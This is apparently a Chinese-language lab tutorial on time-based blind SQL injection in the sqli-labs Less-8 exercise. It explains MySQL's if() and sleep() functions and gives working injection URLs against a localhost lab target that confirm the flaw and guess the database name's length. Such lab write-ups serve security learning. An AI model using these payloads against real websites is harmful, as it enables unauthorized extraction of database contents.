Less-8和Less-5使用的是一样的布尔盲注,为了学习,这里我们使用时间盲注
这里使用到了mysql中的if语句,格式为
if(条件,正确执行,错误执行)
实例如图:sleep(秒速)
,sleep函数可以执行延迟几秒。
在mysql中执行命令select sleep(5)
,mysql会在五秒延迟后回显执行结果,时间注入就是利用if语句判断是否正确,通过返回到页面的延迟来判断我们的注入语句是否正确,和布尔注入类似
可以看到图片中有5秒的延迟时间。
判断是否存在时间注入
测试:http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and sleep(5) --+
页面存在延迟,说明纯在时间盲注
猜解当前数据库的长度
测试:http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and if(length(database())=8,sleep(5),1) --+
如果当前数据库的长度为8,则延迟五秒,否者没有延迟
有延迟,说明当前数据库的长度为8
也可以将if语句的条件反过来
测试:http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and if(length(database())=8,1,sleep(5)) --+
这句我们调整了条件的位置,是如果数据的长度为8,没有延迟,否者五秒延迟
剩下的步骤和sql盲注的步骤一样,只需要改一下if语句的判断条件就可以了。